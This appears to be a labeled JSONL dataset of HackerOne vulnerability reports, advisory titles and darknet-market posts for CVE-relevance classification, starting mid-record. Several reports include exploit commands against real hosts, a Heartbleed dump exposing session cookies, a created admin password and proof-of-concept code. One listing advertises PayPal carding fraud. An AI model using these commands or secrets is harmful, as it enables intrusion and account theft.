CVE.", "source": "hackerone", "timestamp": "2019-10-14", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "14c9cb202f9b62f8ed08", "text": "[Cryptographic Issues - Generic] olx.ph is vulnerable to POODLE attack\n\nhttps://www.olx.ph supports SSLv3 and hence is vulnerable to POODLE attack, which is a kind of Man in the middle attack.\n\nThis vulnerability was discovered in 2014 by Google(More Information below):\nhttps://security.googleblog.com/2014/10/this-poodle-bites-exploiting-ssl-30.html\nhttp://chrisburgess.com.au/how-to-test-for-the-sslv3-poodle-vulnerability/\n\nDisabling SSL 3.0 support, or CBC-mode ciphers with SSL 3.0, is sufficient to mitigate this issue.", "source": "hackerone", "timestamp": "2017-04-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "5836ba9f8cc8cfc8a440", "text": "iBrowser Plugin v1.4.1 (dir) Remote Cross-Site Scripting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-09-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "904e1615f4bb163a8be0", "text": "Manx cms.xml 1.0.1 (ajax_get_file_listing.php) Multiple XSS Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-11-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "684c2974bfd64caa4a28", "text": "Toko Lite CMS 1.5.2 (edit.php) HTTP Response Splitting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-09-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "492fd18a9ddbb5d94f62", "text": "[Silk Road 2] art general\n\nCeci n'est pas une pipe", "source": "gayanku", "timestamp": "2013-11-15", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "425643ba021ee62d2ccb", "text": "[Open Redirect] Open redirect in \"Language change\".\n\nHi guys!\r\nUrls:\r\nhttps://hackerone.com//example.com/ru/faq\r\nand\r\nhttps://hackerone.com//example.com/faq\r\nor \r\nhttps://hackerone.com//example.com/disclosure-guidelines\r\nand\r\nhttps://hackerone.com//example.com/ru/disclosure-guidelines\r\nscroll down > at the right side \r\nchange the language to English\r\nyou will go to http://example.com\r\nThank you.", "source": "hackerone", "timestamp": "2015-06-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3053cc9ab7be358b6f37", "text": "[Agora] TOR is not Prism Proof....\n\nQuote from: Gandalf on May 18 2014 11:44:27 PMI think the guy from deepdotweb was just copy/ pasting this from somewhere else.  He didn't write it. I realize it's just a copy/paste of the Russia Today article with snippets of DeepDotWeb's woefully ignorant commentary in a few places. The problem is he makes it sound like the article had \"revelations\" about Tor safety and presented it as somehow \"authoritative\".He couldn't be more wrong.The original article is here and the whole thing is nothing more than a report on the ramblings of a \"Microsoft security guru\" named Andy Malone who seems to know even less about Tor than he does about security. Microsoft security is an oxymoron - you know Microsoft right? The company whose Internet Explorer browser was recently revealed to have a big wide gaping exploit CVE-2014-1776 present in all versions that would allow \"hackers\" to run arbitrary code on anyone browsing with IE.  From IE version 6 (released in 2001!!) all the way through version 11 (current). 13 years straight of the same exploitable vulnerabilities on their IE browser!Hmm I wonder how many of the NSA's cutely named computer exploits in their \"Tailored Access Operations\" catalog were using that \"bug\".If DeepDotWeb had even half a brain he would know any claims by a Microsoft drone about another browser's security is laughable.", "source": "gayanku", "timestamp": "2014-05-19", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d079cc5c1c1ae8ad6548", "text": "[Server-Side Request Forgery (SSRF)] WebLogic Server Side Request Forgery\n\nUniversal Description Discovery and Integration (UDDI) application is publicly available on this WebLogic server. The SearchPublicRegistries.jsp page can be abused by unauthenticated attackers to cause the WebLogic web server to connect to an arbitrary TCP port of an arbitrary host. Responses returned are fairly verbose and can be used to infer whether a service is listening on the port specified. This vulnerability affects Oracle Fusion Middleware 10.0.2, 10.3.6.\n\nThe impact of this vulnerability\nAn attacker can force the WebLogic web server to connect to an arbitrary TCP port of an arbitrary host.\n\nHow to fix this vulnerability\nApply the Oracle Critical Patch Update Advisory from July 2014 or restrict access to the UDDI application.\n\nhttps://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html\n\n## Impact\n\nhttps://███████/uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:80&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search", "source": "hackerone", "timestamp": "2019-12-02", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2811f92f2227d0058300", "text": "[Unknown] Heartbleed: my.com (185.30.178.33) port 1433\n\nMacBook-Pro-Kirill:Pentest isox$ python heartbleed.py 185.30.178.33 -p 1443\r\n\r\ndefribulator v1.16\r\nA tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)\r\n\r\n##################################################################\r\nConnecting to: 185.30.178.33:1443, 1 times\r\nSending Client Hello for TLSv1.0\r\nReceived Server Hello for TLSv1.0\r\n\r\nWARNING: 185.30.178.33:1443 returned more data than it should - server is vulnerable!\r\nPlease wait... connection attempt 1 of 1\r\n##################################################################\r\n\r\n.@....SC[...r....+..H...9...\r\n....w.3....f...\r\n...!.9.8.........5...............\r\n.........3.2.....E.D...../...A.................................I.........\r\n...........\r\n...................................#.......X-Requested-With: XMLHttpRequest\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36\r\nReferer: https://adm.riotzone.net:1443/webadm/\r\nAccept-Encoding: gzip, deflate, sdch\r\nAccept-Language: en-US,en;q=0.8,ru;q=0.6\r\nCookie: fbm_335418533141749=base_domain=.riotzone.net; weblang=de; auser=1177778; atype=my; asess=2d53c33bbbb985848534e390323c0630; ashow=100007781204577@facebook; nofoo=1; anick=LaVerdad; aserv=1; level=50; sess_uid=1177778; sess_key=2d53c33bbbb985848534e390323c0630; __utma=72033936.1263205956.1413451723.1421595142.1421602346.373; __utmc=72033936; __utmz=72033936.1421073483.352.29.utmcsr=riotzone.net|utmccn=(referral)|utmcmd=referral|utmcct=/riot/RiotLoaderRelease.swf\r\n\r\n.....\r\nSM....)..Z..............b....o...~..^..DF..4......g..%.E.EaVHhJUTZhak8xNWdJYTRIZExkVXpuSVUxVmIwZHVrSV9ZTWw0bkpEQktHVkQyQ3Fpb190MGZFclhMYVg2bjVBMTZnVkZpMWlHMzJ3VFVPNTlvZFR2VU5QWnBjZXBRaVh5OTNHdVR5cEJlR2NCUzhENWR5WXJTcU1CNHRteTl2Q01YTUhjQ212STFkRzZid0poaCIsImlzc3VlZF9hdCI6MTQyMTYwMjM1NCwidXNlcl9pZCI6IjEwMDAwNzc4MTIwNDU3NyJ9; sess_uid=1177778; sess_key=2d53c33bbbb985848534e390323c0630; __utma=72033936.1263205956.1413451723.1421595142.1421602346.373; __utmb=72033936.2.10.1421602346; __utmc=72033936; __utmz=72033936.1421073483.352.29.utmcsr=riotzone.net|utmccn=(referral)|utmcmd=referral|utmcct=/riot/RiotLoaderRelease.swf", "source": "hackerone", "timestamp": "2015-09-13", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "59f9d466b5ac90afd5b4", "text": "[Business Logic Errors] CVE-2021-22926: CURLOPT_SSLCERT mixup with Secure Transport\n\n## Summary:\nlibcurl Secure Transport SSL backend fails to secure the `CURLOPT_SSLCERT` against current directory file overriding the keychain nickname specified.\n\nThis leads to the possibility of locally created file overriding the `CURLOPT_SSLCERT` specified certificate and thus causing denial of service.\n\n## Steps To Reproduce:\n 1. Configure and build curl against Secure Transport: `configure --with-secure-transport && make`\n 2. Have keychain with client certificate called \"testcert\"\n 3. Use testcert from keychain to authenticate: `./src/curl -E testcert https://testsite`\n 4. In current directory execute `touch testcert`\n 5. Try authenticating again `./src/curl -E testcert https://testsite`\n\n`curl: (58) SSL: Can't load the certificate \"testcert\" and its private key: OSStatus -50`\n\nThe issue stems from the fact that Secure Transport backend code doesn't seem to prefer the keychain over the local file. The documentation says that local file should be prefixed with \"./\" when used, but the code doesn't have any such checks. Interestingly NSS SSL backend does have the check: https://github.com/curl/curl/blob/master/lib/vtls/nss.c#L432\n\nThe impact of this vulnerability is rather limited: In practice it seems to be only usable in causing denial of service against applications using keychain client certificates. It could happen in practice for example if executing command in /tmp directory structure or home directory of another user. The user would be able to prevent the app from creating an authenticated connection by creating a file with matching name used for the keychain nickname used by the app.\n\n## Impact\n\nDenial of service", "source": "hackerone", "timestamp": "2021-07-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "79b31bc6ae0556dd6761", "text": "[Unknown] Additional information for CVE-2016-5699\n\nI was not the first to report this issue, but the fix languished for quite some time, since no one realized quite how bad it was. I wasn't aware of the original bug report and discovered the issue independently. I was the first to report the much more serious consequences of it. The vulnerability itself was technically public and fixed, and I waited 6 months to publish the more serious attack scenarios (when a CVE was finally publicly requested). My full description is here:\n http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3a4d10ce33a5551c3cfb", "text": "[Improper Access Control - Generic] CVE-2020-6287 https://redapi2.acronis.com\n\nHi team.\n\n## Summary\n\nCVE-2020-6287 https://redapi2.acronis.com\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-6287\n\n>SAP NetWeaver AS JAVA (LM Configuration Wizard), versions - 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system, leading to Missing Authentication Check.\n\n\nYou can check. I created user with role 'Administrator'\n```\nsapRpoc9846:Secure!PwD7849\n```\n\n## Steps To Reproduce\n\n\n 1. clone https://github.com/chipik/SAP_RECON\n 1. `python3 RECON.py -a -H redapi2.acronis.com -P 443 -s`\n \n\nThanks.\n\n## Impact\n\nadministrative user on sap system", "source": "hackerone", "timestamp": "2021-02-16", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "51ffd295e7ad8b991987", "text": "Embedthis Appweb Web Server 3.2.2-1 (Ejscript) Remote XSS Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2010-12-23", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "aa3e02213c9f3805be3b", "text": "[Black Market Reloaded] MDA Vendor?\n\nSchließe mich der Suche an und setze Mescalin auch noch auf die Suchliste, die zwei die das in Canada und China anpreisen schaut zwar sehr lecker aus und alles aber mit denen wird man sich nicht einig mit dem versand hier her 120 USD für den versand und unterschrift und lauter so n müll geht garnicht!", "source": "gayanku", "timestamp": "2013-12-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d85e92be8b8ef3220545", "text": "[Violation of Secure Design Principles] Missing SPF Flags on nextcloud.com\n\n**Hello NextCloud**\n\n**Details**\ni just test your domain which is nextcloud.com and i surprised that i can send a **legit** email\nto a user.\n\n**Impact**\n\nAttacker can use this to send a Legit Email to the Victim and attacker can send a Malicious Web Links and Phishing Sites.\n\n**Video Proof of Concept**\n\nhttps://mega.nz/#!rtQHxQqa!sd4U7XHvCGvBS-WJMxfzm-NiJVt8ADrxQI3Wwx81raw\n\nReference (Similar Reports):: #54779 & #57736\n\nLet me know if i miss something.\nLooking forward to it's fix.\nBest Regards,\n@ph_spade", "source": "hackerone", "timestamp": "2017-02-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "6bcd3a2993f32bb78cdc", "text": "[Memory Corruption - Generic] Adobe Flash Player PSDK Class Use After Free Vulnerability\n\nI. Summary\nAdobe Flash Player is prone to a vulnerability which leads to Use After Free. \nSince the release condition is highly controllable, it is feasible to build a fully working exploit for shellcode execution with proper AS3 object occupied the original PSDK memory. \n------------------------------------------------------------------\nII. Description\nPSDK Class expose a member function \"release()\", which can be called directly to release the inner memory of PSDK.pSDK.\nHowever, Not all of PSDK's AS3 references are cleaned, it is still possible to invoke virtual functions on a release memory block.\n\nSource Code of crash.swf:\npackage\n{\n import com.adobe.tvsdk.mediacore.PSDK; \n import flash.display.Sprite; \n \n public class poc extends Sprite\n {\n public function poc()\n {\n var ps:PSDK = PSDK.pSDK;\n var ps_:PSDK = PSDK.pSDK;\n ps.release();\n ps_.currentTime;\n }\n }\n}\n------------------------------------------------------------------\nIII. Impact\nUse After Free\n------------------------------------------------------------------\nIV. Affected\nAdobe Flash Player 22.0.0.192\n------------------------------------------------------------------\nV. Credit\nWen Guanxing from Pangu LAB is credited for this vulnerability.\n\nIt has been assigned as CVE-2016-4248 by Adobe:\nhttps://helpx.adobe.com/security/products/flash-player/apsb16-25.html", "source": "hackerone", "timestamp": "2019-11-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "692e662ae8db250f9099", "text": "themostseekrit wrote: Drizzy_Drake wrote: I'm interested I hate smoking weed I'd rather eat it so...check you inbox What about vaping? You get the same experience of smoking (or better, some people think the vape high is different and slightly better) without any of the tar, odour, etc. Yeah I think vaping is pretty nice as well.", "source": "evolution", "timestamp": "2014-09-02", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "70bf3a5c1d83ed0cb986", "text": "Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC\n\nSeverity: high", "source": "zeroscience", "timestamp": "2008-09-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b5b1a83284949ed8c96b", "text": "[Cross-site Scripting (XSS) - Generic] XSS in PDF Viewer\n\nAn outdated version of PDF.js in use allows for the CVE-2018-5158 vulnerability.\n\nWhen the payload PDF is shown in the supplied PDF viewer, it can execute arbitrary JavaScript.\n\nI have tested the payload PDF, and it is working in the Safari 13.0.5 (the latest version) and Firefox 74.0 (the latest version). Although, it does not work in the latest version of Chrome.\n\nI could not find a way to test it on the desktop client. I assume that it would use the system PDF viewer.\n\nModifying the payload to fetch other code was luckily blocked because of a CORS policy.\n\nThe payload is from [https://bugzilla.mozilla.org/show_bug.cgi?id=1452075](https://bugzilla.mozilla.org/show_bug.cgi?id=1452075).\nI have also included the PDF in the attachments.\n\nThe payload can be seen in action by checking the JavaScript console. It says \"Hello, this is code running in\" followed by the path to file where the vulnerability is.\n\n## Impact\n\nAn attacker could execute arbitrary JavaScript code on a web browser when a PDF containing an exploit is opened.", "source": "hackerone", "timestamp": "2020-05-23", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e83c7a469cc860d9f7e0", "text": "Teradek Cube 7.3.6 CSRF Change Password Exploit\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2018-05-21", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "106e8c5e010298262cd4", "text": "[Improper Authentication - Generic] Configuration and/or source code files on uchat-staging.uberinternal.com can be viewed without OneLogin SSO Authentication\n\n## Summary\nConfiguration file and/or source code information leakage without Uber OneLogin SSO authentication.\n\n## Security Impact\nMisconfiguration on the server results in information leakage without authentication.\n\n## Reproduction Steps\nhttps://uchat-staging.uberinternal.com/static/main.740f5a0b92c00e72e2e1.js\n\n## Specifics\n* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2169\n* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0202\n* https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion\n\n## Impact\n\nAccess to internal configuration files, system names, and source code.", "source": "hackerone", "timestamp": "2017-12-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "500444fd0a20d9dd0196", "text": "[Code Injection] Docker image with FPM is vulnerable to CVE-2019-11043\n\nThe CVE-2019-11043 vulnerability can be exploited in the latest nextcloud:fpm image.\n\nThis is due to the specific nginx configuration recommended for nextcloud:\nhttps://github.com/nextcloud/docker#base-version---fpm\nhttps://github.com/nextcloud/documentation/blob/master/admin_manual/installation/nginx.rst\nhttps://github.com/nextcloud/docker/blob/master/.examples/docker-compose/with-nginx-proxy/mariadb/fpm/web/nginx.conf\n\nHere's the exploit: https://github.com/neex/phuip-fpizdam\n\nSample exploit run:\n# ./phuip-fpizdam http://localhost:8080/ocs/v2.php\n2019/10/22 19:36:29 Base status code is 200\n2019/10/22 19:36:30 Status code 502 for qsl=1765, adding as a candidate\n2019/10/22 19:36:31 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]\n2019/10/22 19:36:48 Attack params found: --qsl 1760 --pisos 191 --skip-detect\n2019/10/22 19:36:48 Trying to set \"session.auto_start=0\"...\n2019/10/22 19:36:50 Detect() returned attack params: --qsl 1760 --pisos 191 --skip-detect <-- REMEMBER THIS\n2019/10/22 19:36:50 Performing attack using php.ini settings...\n2019/10/22 19:36:52 Success! Was able to execute a command by appending \"?a=/bin/sh+-c+'which+which'&\" to URLs\n2019/10/22 19:36:52 Trying to cleanup /tmp/a...\n2019/10/22 19:36:52 Done!\n\nTo fix the issue, you need to update PHP-FPM version in the nextcloud:fpm image.\nReference: https://bugs.php.net/bug.php?id=78599\n\n## Impact\n\nExecute arbitrary PHP code on the target server", "source": "hackerone", "timestamp": "2020-03-14", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "40c71a97abd5f2b22fc1", "text": "Earl's Paypal Lite\n\nWelcome to Earl's Paypal Lite Semi-clean Instant Paypal Transfers (CC=>Card Processor=>Paypal) with extras. Avg delivery time: 5 min - 48 hrs depending on order volume and condition of your account. Min. Order of $500. 3 day chargeback replacement guarantee If you ever get a chargeback within 3 days of receiving my transfers before using/withdrawing it, i will always replace them nonstop. New Accounts WITH transaction history can receive my transfers. No 21 day hold. Max 1 day review. Requirements: Business/Premier Verified Paypal Account. No Personal/Unverified accounts. No limited accounts. No new accounts with no transaction history totaling at least $200 Accounts must have a transaction history of at least $2000. You must provide log-in info for me to confirm before transferring. All middleman accounts bought from me are accepted for my transfers, including the ones without transaction history. Important info. Please Read! ------------------------------------------------------------------------------------------------------------------- Accounts must be as stated above to qualify for replacements. No replacements for temporary hold. ------------------------------------------------------------------------------------------------------------------- Account log-in and geolocation info is required to get a replacement. ------------------------------------------------------------------------------------------------------------------- No replacement for limited account, reviewed or reversed funds. ------------------------------------------------------------------------------------------------------------------- Transfers cannot be split into smaller payments. ------------------------------------------------------------------------------------------------------------------- 3 day chargeback replacement guarantee only applies if no part of the funds is used or withdrawn. ------------------------------------------------------------------------------------------------------------------- No refunds once an order has begun processing, only replacements, if you qualify for one. ------------------------------------------------------------------------------------------------------------------- All transfers will be sent out within the stated time-frame and in a timely manner. Your BTC will not be held hostage and i request the same courtesy once your order has been processed. Finalize. ------------------------------------------------------------------------------------------------------------------- By placing an order, you agree to these terms. No special rates so don't ask. ------------------------------------------------------------------------------------------------------------------- For other FAQs not address above, feel free to send a PM. http://k5zq47j6wd3wdvjq.onion/listing/63763", "source": "evolution", "timestamp": "2014-12-01", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "42855f4ff5165136bdff", "text": "FLIR Systems FLIR Thermal Traffic Cameras RTSP Stream Disclosure\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2018-10-06", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "e8ac7635d2307ef90c90", "text": "[Insecure Storage of Sensitive Information] [h1-2006 2020] Chained vulnerabilities lead to account takeover\n\n# Summary\n\nMårten Mickos lost his account for BountyPay, the new service HackerOne is using to pay bug bounties. In this report I explain how I accessed a customer's account using a log file and bypassed its 2FA validation. \n\nI then leverage an open redirect bug to gain access to an internal server and downloaded an Android application. The application contained credentials that allowed me to retrieve an `X-Token` for the API used by all services. \n\nIn the API I created a new account for a new staff member and logged in as a staff. This allowed me to exploit a SSRF flaw and escalate from staff to admin. \n\nAs an admin, I got access to Mårten Mickos's account and payed all bounties by exploiting a CSS Exfil vulnerability.\n\n\n\n# Context\n\nHackerOne tweeted that [@martenmickos](https://twitter.com/martenmickos) needed help with his account for BountyPay. Apparently he lost his credentials and needs help with the bounty payments.\n\n{F862841}\n\nAt this point, HackerOne already released one hint. The Twitter page from [BountypayHQ](https://twitter.com/BountypayHQ). It contained some tweets about a new staff being hired. The twitter page was also following an account named [Sandra Allison](https://twitter.com/SandraA76708114). She posted what seems to be a barcode tag:\n\n{F862866}\n\nNow that we have context, let's start of with the [HackerOne CTF](https://hackerone.com/h1-ctf) program. \n\nI can see that the current scope for the CTF is `*.bountypay.h1ctf.com`.\n\n# Entry point\n\nOpening the `bountypay.h1ctf.com` opens a simple webpage 2 logins. One for staff and one for the customers.\n\nBecause we have domains with normal names, I started [Burp Suite](https://portswigger.net/burp) with [Turbo Intruder](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack). My plan is to use a simple wordlist containing the most common domain names:\n\n{F862846}\n\nThis search returned the following interesting sub-domains:\n\n{F862849}\n\n- `api.bountypay.h1ctf.com`\n\n Seems to be a REST API for the operations in all other subdomains\n\n- `app.bountypay.h1ctf.com`\n\n Customer subdomain\n\n- `staff.bountypay.h1ctf.com`\n\n Staff subdomain\n\n- `software.bountypay.h1ctf.com`\n\n Maybe a repository/intranet which contains the software used by the employers. It can only be accessible from within.\n\nI started with the `app` subdomain, which is the domain for customers to login.\n\nOnce again, I used [Turbo Intruder](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack) again with a wordlist of [common](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt) web content to see if something interesting popups. \n\nThe `.git/HEAD` file immediately pooped up. The `HEAD` doesn't contain useful information so I tried downloading the `.git/config` file. After opening this file, I noticed that a remote repository was configured:\n\n```\n[remote \"origin\"]\nurl = https://github.com/bounty-pay-code/request-logger.git\nfetch = +refs/heads/*:refs/remotes/origin/*\n```\n\nChecking this [Github repo](https://github.com/bounty-pay-code/request-logger.git) I could see a `PHP` file that seems to process some parameters and write them in `Base64` in a file named `bp_web_trace.log`.\n\nI navigated to `https://app.bountypay.h1ctf.com/bp_web_trace.log` and downloaded the log file. Decoding the contents of the file revealed a login log containing a password in plain text:\n\n```\n{\"IP\":\"192.168.1.1\",\"URI\":\"\\/\",\"METHOD\":\"GET\",\"PARAMS\":{\"GET\":[],\"POST\":[]}}\n{\"IP\":\"192.168.1.1\",\"URI\":\"\\/\",\"METHOD\":\"POST\",\"PARAMS\":{\"GET\":[],\"POST\":{\"username\":\"brian.oliver\",\"password\":\"V7h0inzX\"}}}\n{\"IP\":\"192.168.1.1\",\"URI\":\"\\/\",\"METHOD\":\"POST\",\"PARAMS\":{\"GET\":[],\"POST\":{\"username\":\"brian.oliver\",\"password\":\"V7h0inzX\",\"challenge_answer\":\"bD83Jk27dQ\"}}}\n{\"IP\":\"192.168.1.1\",\"URI\":\"\\/statements\",\"METHOD\":\"GET\",\"PARAMS\":{\"GET\":{\"month\":\"04\",\"year\":\"2020\"},\"POST\":[]}}\n```\n\nNow I have an user:\n\n- **Username:** brian.oliver\n- **Password:** V", "source": "hackerone", "timestamp": "2020-06-18", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "bb172f9b118dace8e297", "text": "[Use After Free] Use after free vulnerability in phar_parse_zipfile\n\nMalformed phar file with cache configuration leads freed memory as hash key when it inserts into the hash table.\n\nMore detail information and original report is here: https://bugs.php.net/bug.php?id=79797 and it was assigned CVE-2020-7068.\n\n## Impact\n\nThrough this vulnerability that inserts freed memory into the hash table that manages alias file names, an attacker may gain memory information.", "source": "hackerone", "timestamp": "2020-11-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3f55c0487af32f32f49d", "text": "Adobe Shockwave Player 11.5.6.606 (DIR) Multiple Memory Vulnerabilities\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-05-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "93b2df81f38ed8a9ea70", "text": "[Information Exposure Through an Error Message] Testing for arbitrary HTTP methods\n\nTest for allowed HTTP methods on the server. Below are the steps to reproduce it.\nStep 1. Navigate the url\nStep 2. Intercept the GET http request using burp suite \nStep 3. change GET to ABCD as shown in screenshot and forward this request to server\nStep 4. Observe the http response from the server, it shows Allow header and http methods enabled on the server\n\n## Impact\n\nThere seems to be no major impact If the tester gets a \"405 Method not allowed\" or \"501 Method Unimplemented\", but the target application showing what methods are allowed on the server. here in this case there are PUT and DELETE methods are shown. Using this methods attacker can use exploits to get server access or file upload using PUT method.", "source": "hackerone", "timestamp": "2020-07-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "90ec644f3bd5ef835f9c", "text": "[Cross-site Scripting (XSS) - Reflected] XSS DUE TO CVE-2020-3580\n\nHello Team,\nDuring my research, I found the following host to be vulnerable to CVE 2020-3580 which is POST BASED XSS.\n\nVulnerable URL: https://████/+CSCOE+/saml/sp/acs?tgname=a\n\n## Impact\n\nAttackers can steal cookies and even takeover accounts and perform different malicious activities.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nSave following code as xss.html and open in browser:\n\n \n \n
\n \n \n \n
\n \n \n\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2021-07-29", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "09be30a72af3249f5a71", "text": "[Uncontrolled Resource Consumption] Excessive allocation of memory in dtls1_preprocess_fragment() (CVE-2016-6308)\n\nThis issue is very similar to CVE-2016-6307. The underlying defect is different\nbut the security analysis and impacts are the same except that it impacts DTLS.\n\nA DTLS message includes 3 bytes for its length in the header for the message.\nThis would allow for messages up to 16Mb in length. Messages of this length are\nexcessive and OpenSSL includes a check to ensure that a peer is sending\nreasonably sized messages in order to avoid too much memory being consumed to\nservice a connection. A flaw in the logic of version 1.1.0 means that memory for\nthe message is allocated too early, prior to the excessive message length\ncheck. Due to way memory is allocated in OpenSSL this could mean an attacker\ncould force up to 21Mb to be allocated to service a connection. This could lead\nto a Denial of Service through memory exhaustion. However, the excessive message\nlength check still takes place, and this would cause the connection to\nimmediately fail. Assuming that the application calls SSL_free() on the failed\nconneciton in a timely manner then the 21Mb of allocated memory will then be\nimmediately freed again. Therefore the excessive memory allocation will be\ntransitory in nature. This then means that there is only a security impact if:\n\n1) The application does not call SSL_free() in a timely manner in the\nevent that the connection fails\nor\n2) The application is working in a constrained environment where there\nis very little free memory\nor\n3) The attacker initiates multiple connection attempts such that there\nare multiple connections in a state where memory has been allocated for\nthe connection; SSL_free() has not yet been called; and there is\ninsufficient memory to service the multiple requests.\n\nExcept in the instance of (1) above any Denial Of Service is likely to\nbe transitory because as soon as the connection fails the memory is\nsubsequently freed again in the SSL_free() call. However there is an\nincreased risk during this period of application crashes due to the lack\nof memory - which would then mean a more serious Denial of Service.\n\nThis issue does not affect TLS users.\n\nrefer:\nhttps://www.openssl.org/news/secadv/20160922.txt", "source": "hackerone", "timestamp": "2017-05-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "3973cd3e6e2635170a7a", "text": "webgrind 1.0 (file param) Local File Inclusion Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-02-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d41e81ff49a7f4ab5080", "text": "Native Instruments Guitar Rig 4 Player v4.1.1 Insecure Library Loading Vulnerability\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2010-11-20", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "230dfb6569bc2d9e0fa3", "text": "[Server-Side Request Forgery (SSRF)] Server-Side Request Forgery in \"icons.bitwarden.net\"\n\nAs, I already checked with support team via portal, due to domain confirmation I checked with them. Here, adding the required information: \n\n##Title: Server-Side Request Forgery in \"icons.bitwarden.net\".\n##URL: https://icons.bitwarden.net/spoofed.burpcollaborator.net/icon.png\n##Parameter: REST based in \"https://icons.bitwarden.net/{DOMAIN-HERE}/icon.png\"\n##Summary: The application failed to validate the vulnerable URL which led to internal port scanning through SSRF vulnerability. \n##Severity: High\n\n##Proof of Concept: \n1. The application shows \"https://icons.bitwarden.net/localhost/icon.png\". - 400 Bad Request.\n2. The application shows https://icons.bitwarden.net/spoofed.burpcollaborator.net/icon.png - 404 Not Found.\nNote: Furthermore, an attacker would be able to perform host discovery and internal port scanning which I did not perform as the scope was not mentioned in the list so better that you can proceed with the above Proof of Concept steps. \n\n##Recommendation:\nIn the above steps, localhost was restricted but was able to bypass using domain \"spoofed.burpcollaborator.net\" which resolves \"127.0.0.1\". The application should resolve the domain and restrict access to internal resources.\n\n## Impact\n\n* An attacker would be able to perform SSRF attack to retrieve internal infrastructure information.", "source": "hackerone", "timestamp": "2020-08-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c60e7eda5dfe19679b70", "text": "Securimage 3.5 URI-based Cross-Site Scripting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2013-05-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d18e0006ab43855b6818", "text": "AVE DOMINAplus <=1.10.x Credentials Disclosure Exploit\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2019-12-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "28b759043cf09ec2f4fd", "text": "[Unknown] Coding error !\n\nhere this is my mail id : asr82785611@gmail.com\n\nand pass : asr82785611@gmail.com\n\ni am able to set password as same as gmail address , but cant able to login , this was the issue here", "source": "hackerone", "timestamp": "2017-08-28", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3776f8f1f5bc529a8f69", "text": "[Uncontrolled Resource Consumption] DoS for client-go jsonpath func\n\n## Summary:\njsonpath recursive descent cause a DoS vul\n`kubectl` `apiextensions-apiserver` `cli-runtime` and `kubernetes` is depends on 